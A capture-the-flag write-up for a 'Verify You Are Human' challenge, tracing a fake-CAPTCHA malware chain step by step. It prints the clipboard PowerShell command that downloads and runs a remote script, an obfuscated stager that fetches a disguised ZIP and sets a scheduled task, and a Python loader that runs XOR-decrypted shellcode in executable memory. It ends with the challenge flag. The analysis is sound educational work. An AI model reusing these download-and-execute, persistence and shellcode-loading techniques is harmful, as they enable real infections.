Huntress CTF 2025 - Verify You Are Human
Challenge Description
My computer said I needed to update MS Teams, so that is what I have been trying to do…
…but I can’t seem to get past this CAPTCHA!
Provided: 10.0.21.131
Solution
When accessing the web page, this command is put in our clipboard:
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Wi HI -nop -c "$UkvqRHtIr=$env:LocalAppData+''+(Get-Random -Minimum 5482 -Maximum 86245)+'.PS1';irm 'http://10.0.21.131/?tic=1'> $UkvqRHtIr;powershell -Wi HI -ep bypass -f $UkvqRHtIr"
So it is accessing http://10.0.21.131/?tic=1 and downloading it and saving it as .PS1 (PowerShell script).
After curling that we get a new obfuscated PowerShell script:
curl http://10.0.21.131/?tic=1
$JGFDGMKNGD = ([char]46)+([char]112)+([char]121)+([char]99);
$HMGDSHGSHSHS = [guid]::NewGuid();
$OIEOPTRJGS = $env:LocalAppData;
irm 'http://10.0.21.131/?tic=2' -OutFile $OIEOPTRJGS\$HMGDSHGSHSHS.pdf;
Add-Type -AssemblyName System.IO.Compression.FileSystem;
[System.IO.Compression.ZipFile]::ExtractToDirectory(
"$OIEOPTRJGS\$HMGDSHGSHSHS.pdf",
"$OIEOPTRJGS\$HMGDSHGSHSHS"
);
$PIEVSDDGs = Join-Path $OIEOPTRJGS $HMGDSHGSHSHS;
$WQRGSGSD = "$HMGDSHGSHSHS";
$RSHSRHSRJSJSGSE = "$PIEVSDDGs\pythonw.exe";
$RYGSDFSGSH = "$PIEVSDDGs\cpython-3134.pyc";
$ENRYERTRYRNTER = New-ScheduledTaskAction -Execute $RSHSRHSRJSJSGSE \
-Argument "`"$RYGSDFSGSH`"";
$TDRBRTRNREN = (Get-Date).AddSeconds(180);
$YRBNETMREMY = New-ScheduledTaskTrigger -Once -At $TDRBRTRNREN;
$KRYIYRTEMETN = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" \
-LogonType Interactive -RunLevel Limited;
Register-ScheduledTask -TaskName $WQRGSGSD -Action $ENRYERTRYRNTER \
-Trigger $YRBNETMREMY -Principal $KRYIYRTEMETN -Force;
Set-Location $PIEVSDDGs;
$WMVCNDYGDHJ = "cpython-3134" + $JGFDGMKNGD;
Rename-Item -Path "cpython-3134" -NewName $WMVCNDYGDHJ;
iex ('rundll32 shell32.dll,ShellExec_RunDLL "' + $PIEVSDDGs + \
'\pythonw" "' + $PIEVSDDGs + '\'+ $WMVCNDYGDHJ + '"');
Remove-Item $MyInvocation.MyCommand.Path -Force;
Set-Clipboard
Here the most important thing is now accessing http://10.0.21.131/?tic=2. After curling that:
curl http://10.0.21.131/?tic=2
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output <FILE>" to save to a file.
If we output it to a file and run the file command:
file tic2 tic2: Zip archive data, at least v2.0 to extract, compression method=deflate
Zip archive is interesting, let’s see what is there when we extract it:
inflating: LICENSE.txt
inflating: _asyncio.pyd
inflating: _bz2.pyd
inflating: _ctypes.pyd
inflating: _decimal.pyd
inflating: _elementtree.pyd
inflating: _hashlib.pyd
inflating: _lzma.pyd
inflating: _multiprocessing.pyd
inflating: _overlapped.pyd
inflating: _queue.pyd
inflating: _socket.pyd
inflating: _sqlite3.pyd
inflating: _ssl.pyd
inflating: _uuid.pyd
inflating: _wmi.pyd
inflating: _zoneinfo.pyd
inflating: cpython-3134.pyc
inflating: libcrypto-3.dll
inflating: libffi-8.dll
inflating: libssl-3.dll
inflating: output.py
inflating: pyexpat.pyd
inflating: python.cat
inflating: python.exe
inflating: python3.dll
inflating: python313._pth
inflating: python313.dll
inflating: python313.zip
inflating: pythonw.exe
inflating: select.pyd
inflating: sqlite3.dll
inflating: unicodedata.pyd
inflating: vcruntime140.dll
inflating: winsound.pyd
A lot of stuff, but for now I will just look at output.py:
import base64
#nfenru9en9vnebvnerbneubneubn
exec(base64.b64decode(
"aW1wb3J0IGN0eXBlcwoKZGVmIHhvcl9kZWNyeXB0KGNpcGhlcnRleHRfYnl0ZXMsIGtleV9ieXRlcyk6CiAgICBkZWNyeXB0ZWRf"
"Ynl0ZXMgPSBieXRlYXJyYXkoKQogICAga2V5X2xlbmd0aCA9IGxlbihrZXlfYnl0ZXMpCiAgICBmb3IgaSwgYnl0ZSBpbiBlbnVt"
"ZXJhdGUoY2lwaGVydGV4dF9ieXRlcyk6CiAgICAgICAgZGVjcnlwdGVkX2J5dGUgPSBieXRlIF4ga2V5X2J5dGVzW2kgJSBrZXlf"
"bGVuZ3RoXQogICAgICAgIGRlY3J5cHRlZF9ieXRlcy5hcHBlbmQoZGVjcnlwdGVkX2J5dGUpCiAgICByZXR1cm4gYnl0ZXMoZGVj"
"cnlwdGVkX2J5dGVzKQoKc2hlbGxjb2RlID0gYnl0ZWFycmF5KHhvcl9kZWNyeXB0KGJhc2U2NC5iNjRkZWNvZGUoJ3pHZGdUNkdI"
"Ujl1WEo2ODJrZGFtMUE1VGJ2SlAvQXA4N1Y2SnhJQ3pDOXlnZlgyU1VvSUwvVzVjRFAveGVrSlRqRytaR2dIZVZDM2NsZ3o5eDVY"
"NW1nV0xHTmtnYStpaXhCeVRCa2thMHhicVlzMVRmT1Z6azJidURDakFlc2Rpc1U4ODdwOVVSa09MMHJEdmU2cWU3Z2p5YWI0SDI1"
"ZFBqTytkVllrTnVHOHdXUT09JyksIGJhc2U2NC5iNjRkZWNvZGUoJ21lNkZ6azBIUjl1WFR6enVGVkxPUk0yVitacU1iQT09Jykp"
"KQpwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChs"
"ZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLCBjdHlwZXMuY19pbnQoMHg0MCkpCmJ1ZiA9IChjdHlwZXMuY19j"
"aGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3Zl"
"TWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkpCmZ1bmN0eXBlID0gY3R5"
"cGVzLkNGVU5DVFlQRShjdHlwZXMuY192b2lkX3ApCmZuID0gZnVuY3R5cGUocHRyKQpmbigp"
).decode('utf-8'))
#g0emgoemboemoetmboemomeio
Let’s decode the string we have:
echo "aW1wb3J0IGN0eXBlcwoKZGVmIHhvcl9kZWNyeXB0KGNpcGhlcnRleHRfYnl0ZXMsIGtleV9ieXRlcyk6CiAgICBkZWNyeXB0ZWRfYnl0ZXMgPSBieXRlYXJyYXkoKQogICAga2V5X2xlbmd0aCA9IGxlbihrZXlfYnl0ZXMpCiAgICBmb3IgaSwgYnl0ZSBpbiBlbnVtZXJhdGUoY2lwaGVydGV4dF9ieXRlcyk6CiAgICAgICAgZGVjcnlwdGVkX2J5dGUgPSBieXRlIF4ga2V5X2J5dGVzW2kgJSBrZXlfbGVuZ3RoXQogICAgICAgIGRlY3J5cHRlZF9ieXRlcy5hcHBlbmQoZGVjcnlwdGVkX2J5dGUpCiAgICByZXR1cm4gYnl0ZXMoZGVjcnlwdGVkX2J5dGVzKQoKc2hlbGxjb2RlID0gYnl0ZWFycmF5KHhvcl9kZWNyeXB0KGJhc2U2NC5iNjRkZWNvZGUoJ3pHZGdUNkdIUjl1WEo2ODJrZGFtMUE1VGJ2SlAvQXA4N1Y2SnhJQ3pDOXlnZlgyU1VvSUwvVzVjRVAveGVrSlRqRytaR2dIZVZDM2NsZ3o5eDVYNW1nV0xHTmtnYStpaXhCeVRCa2thMHhicVlzMVRmT1Z6azJidURDakFlc2Rpc1U4ODdwOVVSa09MMHJEdmU2cWU3Z2p5YWI0SDI1ZFBqTytkVllrTnVHOHdXUT09JyksIGJhc2U2NC5iNjRkZWNvZGUoJ21lNkZ6azBIUjl1WFR6enVGVkxPUk0yVitacU1iQT09JykpKQpwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbD32LlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLCBjdHlwZXMuY19pbnQoMHg0MCkpCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkpCmZ1bmN0eXBlID0gY3R5cGVzLkNGVU5DVFlQRShjdHlwZXMuY192b2lkX3ApCmZuID0gZnVuY3R5cGUocHRyKQpmbigp" | base64 -d
We got a new script:
import ctypes
def xor_decrypt(ciphertext_bytes, key_bytes):
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
shellcode = bytearray(xor_decrypt(
base64.b64decode(
'zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/'
'xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2b'
'uDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='
),
base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')
))
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))
)
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
fn()
This is a shellcode execution script that:
- Decrypts a Base64-encoded payload using XOR decryption
- Allocates executable memory in Windows
- Executes the decrypted shellcode directly
Let’s extract the shellcode and save it as shellcode.bin:
import base64
def xor_decrypt(ciphertext_bytes, key_bytes):
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
ciphertext = base64.b64decode(
'zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/'
'xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2b'
'uDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='
)
key = base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')
decrypted_shellcode = xor_decrypt(ciphertext, key)
# Save to file for analysis
with open('shellcode.bin', 'wb') as f:
f.write(decrypted_shellcode)
print(f"Shellcode saved to shellcode.bin ({len(decrypted_shellcode)} bytes)")
I will be using radare2 here:
r2 -a x86 -b 32 shellcode.bin
[0x00000000]> aaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: find and analyze function preludes (aap)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
[0x00000000]> afl
0x00000000 7 130 fcn.00000000
[0x00000000]> pdf @fcn.00000000
;-- oeax:
;-- eax:
;-- ebx:
;-- ecx:
;-- edx:
;-- esi:
;-- edi:
;-- eip:
;-- eflags:
┌ 130: fcn.00000000 ();
│ afv: vars(3:sp[0x84..0x86])
│ 0x00000000 55 push ebp
│ 0x00000001 89e5 mov ebp, esp
│ 0x00000003 81ec80000000 sub esp, 0x80
│ 0x00000009 6893d88484 push 0x8484d893
│ 0x0000000e 6890c3c697 push 0x97c6c390
│ 0x00000013 68c3909392 push 0x929390c3
│ 0x00000018 6890c4c3c7 push 0xc7c3c490
│ 0x0000001d 689c939c93 push 0x939c939c
│ 0x00000022 68c09cc6c6 push 0xc6c69cc0
│ 0x00000027 6897c69c93 push 0x939cc697
│ 0x0000002c 6894c79dc1 push 0xc19dc794
│ 0x00000031 68dec19691 push 0x9196c1de
│ 0x00000036 68c3c9c4c2 push 0xc2c4c9c3
│ 0x0000003b b90a000000 mov ecx, 0xa
│ ; DATA XREF from fcn.00000000 @ 0x73(r)
│ 0x00000040 89e7 mov edi, esp
│ ; CODE XREF from fcn.00000000 @ 0x4c(x)
│ ┌─> 0x00000042 8137a5a5a5a5 xor dword [edi], 0xa5a5a5a5 ; [0xa5a5a5a5:4]=-1
│ ╎ 0x00000048 83c704 add edi, 4
│ ╎ 0x0000004b 49 dec ecx
│ └─< 0x0000004c 75f4 jne 0x42
│ 0x0000004e c644242600 mov byte [var_26h], 0
│ 0x00000053 c6857fffff.. mov byte [var_81h], 0
│ 0x0000005a 89e6 mov esi, esp
│ 0x0000005c 8d7d80 lea edi, [var_80h]
│ 0x0000005f b926000000 mov ecx, 0x26 ; '&'
│ ; CODE XREF from fcn.00000000 @ 0x6b(x)
│ ┌─> 0x00000064 8a06 mov al, byte [esi]
│ ╎ 0x00000066 8807 mov byte [edi], al
│ ╎ 0x00000068 46 inc esi
│ ╎ 0x00000069 47 inc edi
│ ╎ 0x0000006a 49 dec ecx
│ └─< 0x0000006b 75f7 jne 0x64
│ 0x0000006d c60700 mov byte [edi], 0
│ 0x00000070 8d3c24 lea edi, [esp]
│ 0x00000073 b940000000 mov ecx, 0x40 ; '@'
│ 0x00000078 b001 mov al, 1
│ ┌─> 0x0000007a 8807 mov byte [edi], al
│ ╎ 0x0000007c 47 inc edi
│ ╎ 0x0000007d 49 dec ecx
│ └─< 0x0000007e 75fa jne 0x7a
│ 0x00000080 c9 leave
└ 0x00000081 c3 ret
There are some hex values pushed somewhere and also 0xa5a5a5a5 which I believe is a key that XORs each of those pushed values.
Now I just wrote a script to XOR them:
import base64
def xor_decrypt(ciphertext_bytes, key_bytes):
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
ciphertext = base64.b64decode(
'zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/'
'xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2b'
'uDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='
)
key = base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')
decrypted = xor_decrypt(ciphertext, key)
# The pushed values from the disassembly
pushed_values = [
0x8484d893, 0x97c6c390, 0x929390c3, 0xc7c3c490,
0x939c939c, 0xc6c69cc0, 0x939cc697, 0xc19dc794,
0x9196c1de, 0xc2c4c9c3
]
print("Decoding the pushed values with XOR 0xA5A5A5A5:")
decoded_string = b""
for value in pushed_values:
# XOR with 0xA5A5A5A5
decoded_value = value ^ 0xA5A5A5A5
# Convert to bytes (little-endian)
decoded_bytes = decoded_value.to_bytes(4, 'little')
decoded_string += decoded_bytes
print(f"{hex(value)} XOR A5A5A5A5 = {hex(decoded_value)} -> {decoded_bytes}")
Output:
Decoding the pushed values with XOR 0xA5A5A5A5:
0x8484d893 XOR A5A5A5A5 = 0x21217d36 -> b'6}!!'
0x97c6c390 XOR A5A5A5A5 = 0x32636635 -> b'5fc2'
0x929390c3 XOR A5A5A5A5 = 0x37363566 -> b'f567'
0xc7c3c490 XOR A5A5A5A5 = 0x62666135 -> b'5afb'
0x939c939c XOR A5A5A5A5 = 0x36393639 -> b'9696'
0xc6c69cc0 XOR A5A5A5A5 = 0x63633965 -> b'e9cc'
0x939cc697 XOR A5A5A5A5 = 0x36396332 -> b'2c96'
0xc19dc794 XOR A5A5A5A5 = 0x64386231 -> b'1b8d'
0x9196c1de XOR A5A5A5A5 = 0x3433647b -> b'{d34'
0xc2c4c9c3 XOR A5A5A5A5 = 0x67616c66 -> b'flag'
It looks like the flag but in reverse order, so I manually wrote each part and got the flag: flag{d341b8d2c96e9cc96965afbf5675fc26}. I believe it’s something with endianness.
Also later I wrote this script that automatically solves it and gives the flag:
import base64
import ctypes
def xor_decrypt(ciphertext_bytes, key_bytes):
"""
XOR decrypt ciphertext with repeating key
"""
decrypted_bytes = bytearray()
key_length = len(key_bytes)
for i, byte in enumerate(ciphertext_bytes):
decrypted_byte = byte ^ key_bytes[i % key_length]
decrypted_bytes.append(decrypted_byte)
return bytes(decrypted_bytes)
def analyze_shellcode():
"""
Complete analysis of the encrypted shellcode to extract the flag
"""
# Base64 encoded payload and key from the original script
ciphertext = base64.b64decode(
'zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/'
'xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2b'
'uDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='
)
key = base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')
# First layer: XOR decrypt the payload
decrypted_shellcode = xor_decrypt(ciphertext, key)
print("=== SHELLCODE ANALYSIS ===")
print(f"Encrypted payload size: {len(ciphertext)} bytes")
print(f"Key size: {len(key)} bytes")
print(f"Decrypted shellcode size: {len(decrypted_shellcode)} bytes")
# Save decrypted shellcode for analysis
with open('shellcode.bin', 'wb') as f:
f.write(decrypted_shellcode)
# The shellcode pushes these values onto the stack (in assembly order)
pushed_values_assembly_order = [
0x8484d893, 0x97c6c390, 0x929390c3, 0xc7c3c490,
0x939c939c, 0xc6c69cc0, 0x939cc697, 0xc19dc794,
0x9196c1de, 0xc2c4c9c3
]
# Reverse for stack order (last pushed = first in memory)
pushed_values_stack_order = list(reversed(pushed_values_assembly_order))
print("\n=== PUSHED VALUES ANALYSIS ===")
print("Values as pushed in assembly (top to bottom in code):")
for i, val in enumerate(pushed_values_assembly_order):
print(f" push 0x{val:08x}")
print("\nValues in stack order (bottom to top in memory):")
for i, val in enumerate(pushed_values_stack_order):
print(f" [esp+{i*4:02x}] = 0x{val:08x}")
# XOR decode each value with 0xA5A5A5A5
xor_key = 0xA5A5A5A5
decoded_bytes = b""
print("\n=== XOR DECODING ===")
print(f"Using XOR key: 0x{xor_key:08x}")
for i, val in enumerate(pushed_values_stack_order):
result = val ^ xor_key
result_bytes = result.to_bytes(4, 'little')
decoded_bytes += result_bytes
print(f"0x{val:08x} XOR 0x{xor_key:08x} = 0x{result:08x} -> {result_bytes} -> '{result_bytes.decode('ascii')}'")
print(f"\nFull decoded string: {decoded_bytes}")
# The shellcode copies 0x26 (38) bytes to a buffer
flag_data = decoded_bytes[:0x26]
print(f"\n=== FLAG EXTRACTION ===")
print(f"Shellcode copies 0x26 (38) bytes to buffer")
print(f"Flag: {flag_data.decode('ascii')}")
# Clean up the flag (remove null bytes/padding if any)
clean_flag = flag_data.decode('ascii').split('\x00')[0]
print(f"Clean flag: {clean_flag}")
return clean_flag
def execute_shellcode_demo():
"""
Demonstrate how the original shellcode would execute (Windows only)
"""
print("\n=== EXECUTION DEMO ===")
try:
ciphertext = base64.b64decode(
'zGdgT6GHR9uXJ682kdam1A5TbvJP/Ap87V6JxICzC9ygfX2SUoIL/W5cEP/'
'xekJTjG+ZGgHeVC3clgz9x5X5mgWLGNkga+iixByTBkka0xbqYs1TfOVzk2b'
'uDCjAesdisU887p9URkOL0rDve6qe7gjyab4H25dPjO+dVYkNuG8wWQ=='
)
key = base64.b64decode('me6Fzk0HR9uXTzzuFVLORM2V+ZqMbA==')
shellcode = xor_decrypt(ciphertext, key)
print("Allocating executable memory...")
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
print("Copying shellcode to memory...")
buf = (ctypes.c_char * len(shellcode)).from_buffer(bytearray(shellcode))
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode))
)
print("Creating function pointer...")
functype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fn = functype(ptr)
print("Executing shellcode...")
fn()
except Exception as e:
print(f"Execution failed (expected on Linux): {e}")
print("This is normal - the shellcode is Windows x86 assembly")
if __name__ == "__main__":
flag = analyze_shellcode()
Running it we get:
=== SHELLCODE ANALYSIS ===
Encrypted payload size: 130 bytes
Key size: 22 bytes
Decrypted shellcode size: 130 bytes
=== PUSHED VALUES ANALYSIS ===
Values as pushed in assembly (top to bottom in code):
push 0x8484d893
push 0x97c6c390
push 0x929390c3
push 0xc7c3c490
push 0x939c939c
push 0xc6c69cc0
push 0x939cc697
push 0xc19dc794
push 0x9196c1de
push 0xc2c4c9c3
Values in stack order (bottom to top in memory):
[esp+00] = 0xc2c4c9c3
[esp+04] = 0x9196c1de
[esp+08] = 0xc19dc794
[esp+0c] = 0x939cc697
[esp+10] = 0xc6c69cc0
[esp+14] = 0x939c939c
[esp+18] = 0xc7c3c490
[esp+1c] = 0x929390c3
[esp+20] = 0x97c6c390
[esp+24] = 0x8484d893
=== XOR DECODING ===
Using XOR key: 0xa5a5a5a5
0xc2c4c9c3 XOR 0xa5a5a5a5 = 0x67616c66 -> b'flag' -> 'flag'
0x9196c1de XOR 0xa5a5a5a5 = 0x3433647b -> b'{d34' -> '{d34'
0xc19dc794 XOR 0xa5a5a5a5 = 0x64386231 -> b'1b8d' -> '1b8d'
0x939cc697 XOR 0xa5a5a5a5 = 0x36396332 -> b'2c96' -> '2c96'
0xc6c69cc0 XOR 0xa5a5a5a5 = 0x63633965 -> b'e9cc' -> 'e9cc'
0x939c939c XOR 0xa5a5a5a5 = 0x36393639 -> b'9696' -> '9696'
0xc7c3c490 XOR 0xa5a5a5a5 = 0x62666135 -> b'5afb' -> '5afb'
0x929390c3 XOR 0xa5a5a5a5 = 0x37363566 -> b'f567' -> 'f567'
0x97c6c390 XOR 0xa5a5a5a5 = 0x32636635 -> b'5fc2' -> '5fc2'
0x8484d893 XOR 0xa5a5a5a5 = 0x21217d36 -> b'6}!!' -> '6}!!'
Full decoded string: b'flag{d341b8d2c96e9cc96965afbf5675fc26}!!'
=== FLAG EXTRACTION ===
Shellcode copies 0x26 (38) bytes to buffer
Flag: flag{d341b8d2c96e9cc96965afbf5675fc26}
Clean flag: flag{d341b8d2c96e9cc96965afbf5675fc26}
Flag: flag{d341b8d2c96e9cc96965afbf5675fc26}
Conclusion
This challenge demonstrates a multi-stage malware delivery system:
- Initial PowerShell downloader
- ZIP archive containing Python environment
- Obfuscated Python script with embedded shellcode
- XOR-encrypted shellcode containing the flag
The key was to follow the chain of execution and analyze the shellcode to extract the hidden flag. The shellcode used XOR encryption with 0xA5A5A5A5 to hide the flag in memory, and understanding the stack order was crucial for proper decoding.